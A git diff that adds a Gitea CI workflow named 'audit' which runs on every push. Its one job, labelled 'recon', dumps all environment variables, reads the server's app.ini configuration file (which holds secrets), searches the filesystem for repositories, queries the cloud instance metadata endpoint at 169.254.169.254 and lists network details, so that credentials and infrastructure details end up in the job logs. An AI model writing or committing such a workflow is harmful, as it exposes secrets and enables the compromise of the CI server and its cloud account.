diff --git a/.gitea/workflows/audit.yml b/.gitea/workflows/audit.yml
new file mode 100644
index 0000000..b3191b3
--- /dev/null
+++ b/.gitea/workflows/audit.yml
@@ -0,0 +1,20 @@
+name: audit
+on: [push]
+jobs:
+  recon:
+    runs-on: ubuntu-latest
+    steps:
+      - name: System Info
+        run: |
+          echo "=== whoami ===" && whoami
+          echo "=== hostname ===" && hostname
+          echo "=== id ===" && id
+          echo "=== pwd ===" && pwd
+          echo "=== ls / ===" && ls -la /
+          echo "=== env ===" && env | sort
+          echo "=== /data ===" && ls -laR /data/ 2>/dev/null | head -50
+          echo "=== gitea repos ===" && find / -name "*.git" -type d 2>/dev/null | head -20
+          echo "=== app.ini ===" && find / -name "app.ini" 2>/dev/null | head -5
+          echo "=== cat app.ini ===" && cat /data/gitea/conf/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null || echo "not found"
+          echo "=== IMDS ===" && curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20
+          echo "=== network ===" && ip addr 2>/dev/null || ifconfig 2>/dev/null | head -20